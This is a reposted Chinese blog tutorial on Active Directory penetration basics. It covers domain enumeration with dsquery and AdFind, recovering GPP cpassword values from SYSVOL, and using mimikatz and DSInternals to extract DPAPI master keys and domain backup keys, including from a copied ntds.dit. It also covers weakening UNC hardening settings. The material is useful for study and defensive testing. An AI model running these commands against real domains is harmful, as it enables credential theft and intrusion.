记录黑客技术中优秀的内容,传播黑客文化,分享黑客技术精华

域渗透基础一

2021-08-13 19:59

域渗透基础知识


   


1.域信息


   

域信息存放着域中的基础信息,基本上除了密码,都可以通过域信息查询到。查询域信息只需要一个域账号,这个账号可以是用户的,也可以是域机器的,因为在域中,机器也是一个用户,机器用户的账户名是以$结尾。\dsquery 微软自带的查看域信息的工具,本地使用可以在 winserver2003 上拖一个,新版的 dsquery 需要多个文件配合,比较麻烦。

查询域密码策略

dsquery * -attr * -limit 1 



AdFind.exe  -h 192.168.2.10 -maxe 1




其中的maxPwdAge为密码最长使用时间,minPwdAge为密码最短使用时间,默认环境下最短密码时间为一天,最长使用时间是 90 天,也就是说域用户每个季度都要修改一次自己的密码,如果最短密码时间为一天,则修改了一次域密码之后,必须要过了一天才能再次修改,这样避免了域用户改为原来的密码,也因此很多域用户的密码跟季节月份年份有关,频繁修改下,一定会出现相对弱的密码。其中的minPwdLength为最小密码长度,也就是说密码不能比这个值短。

查询域用户

dsquery * -filter "(&(objectCategory=person)(objectClass=user))" -attr sAMAccountName displayName mail userAccountControl pwdLastSet title department homeDirectory physicalDeliveryOfficeName company distinguishedName -limit 0 -uco



查询域电脑

dsquery * -filter "(objectCategory=computer)" -attr cn operatingSystem description distinguishedName -limit 0 -uco



查询域组

dsquery * -filter "(objectCategory=group)" -attr cn description member distinguishedName objectSid -l -limit 0 -uco


查询 subnets

dsquery * "CN=Subnets,CN=Sites,CN=Configuration,DC=xxx,DC=com" -limit 0 -uco -filter "(objectCategory=subnet)" -attr name description siteObject location

查询站点

dsquery * "CN=Sites,CN=Configuration,DC=test,DC=com" -limit 0 -uco -filter "(objectCategory=site)" -attr cn description

    查询信任域

dsquery * -limit 0 -uco -filter "(objectClass=trustedDomain)" -attr cn distinguishedName


2.域共享


   

域共享和域信息一样,都是只要有一个域账号就可以访问。域共享分为 sysvol 和 netlogon。

坑点

windows 10 bug:由于无法通过 UNC 路径访问 sysvol 共享,可以添加一条组策略,计算机 ->管理模板 ->网络 ->网络提供程序->硬化的 UNC 路径,启用该策略并单击"显示"按钮。在"数值名称"中输入您的服务器名称(\\myservername),然后在"数值"字段中输入下列文本

RequireMutualAuthentication = 0, RequireIntegrity = 0, RequirePrivacy = 0


3.GPP


   

gpp 全称 group policy preference 是域中的策略,是由管理员下发的,对域内机器或者用户生效。gpp 可以用来更改用户或者电脑的密码,因此如果管理员使用过 gpp 来更改密码,那么这个记录就会保存在域共享中。因此可以通过在域共享中查找关键字,来找到这个密码,这个密码是使用固定密钥加密的,因此可以直接使用 kali 自带的工具解密。

findstr /s /i cpassword \\shuidi.com\sysvol\*.xml
gpp-decrypt xxxxxx


4.ntlm 认证协议


   

在域内如果使用的是 ip 地址,那大概率用的就是 ntlm 协议,协议具体内容可以在参考链接中查看,图解如下:

参考链接:https://daiker.gitbook.io/windows-protocol/ntlm-pian


5.kerberos 认证协议


   

在域内,如果使用的是机器名来做认证,那大概率使用的是 kerberos 认证,详细内容可以在参考链接中查看,图解如下:

参考链接:https://daiker.gitbook.io/windows-protocol/kerberos


6.DPAPI


   

Data Protection Application Programming Interface,缩写DPAPI

主要作用就是使用户的数据只能由用户自己解开,里面用到了一个 masterkey 的概念,用来解密和加密,Master Key并不会存在在磁盘上,是通过用户的密码 HASH 加密生成,并且目前大部分的 masterkey 要想解密是需要用户明文密码的,所以如果只拿到了用户的 ntlm 哈希,也能有效的保护用户的数据安全。

master key

masterkey文件存放在C:\Users\xxx\AppData\Roaming\Microsoft\Protect\S-1-5-21-3796282545-1493157515-1387798836-xxx\,其中的用户名和 sid 是对应的。

在域中,这个 master key 可以由两种解密方式,第一种就是域用户生成 masterkey 时,当下的密码明文。

dpapi::masterkey /in:xxx /sid:S-1-5-21-3796282545-1493157515-1387798836-500 /password:admin /unprotected


第二种是使用域的 domainkey 进行解密,可以使用以下命令直接发送 rpc 请求,让域控帮忙解密。

dpapi::masterkey /in:xxx /rpc


如果当前机器,用户登陆过,并且没有重启,可以使用如下命令,直接从内存中加载解密的 masterkey.

sekurlsa::dpapi



有了 master key,就可以解密各种应用以及微软自身加密的很多数据,包括 outlook 账号密码,凭据账号密码,很多第三方软件的保存的账号密码。

backupkeys

上面的方法中,使用/rpc 可以让域控帮忙解密 masterkey,其实还有别的办法获得这个 key,获得这个 key 之后,就可以本地直接解密,不需要发流量了。

lsadump::backupkeys /system:dc.shuidi.com /export
dpapi::masterkey /in:xxx /pvk:xxxx


还有一种获取 backupkeys 的办法,但是需要结合密码拖取中的 ntds 离线分析来做。当我们已经下载了域控中的 ntds.dit 和 samsystem 等文件,可以使用DSInternals来提取,可以直接提取 pvk 文件,和 backupkeys 效果一致。

$key = Get-BootKey -SystemHiveFilePath '.\ADBackup\registry\SYSTEM'
Get-ADDBBackupKey -DatabasePath '.\ADBackup\Active Directory\ntds.dit' -BootKey $key | Format-List
Get-ADDBBackupKey -DatabasePath '.\ADBackup\Active Directory\ntds.dit' -BootKey $key | Save-DPAPIBlob -DirectoryPath '.\Output'





知识来源: https://mp.weixin.qq.com/s?__biz=MzUzMDA4NDMzNw==&mid=2247485288&idx=1&sn=56454063be816cfb9146ae0172d33f16

阅读:64318 | 评论:0 | 标签:渗透

想收藏或者和大家分享这篇好文章→复制链接地址

“域渗透基础一”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

黑帝公告 📢

永久免费持续更新精选优质黑客技术文章Hackdig,帮你成为掌握黑客技术的英雄

广而告之 💖

标签云 ☁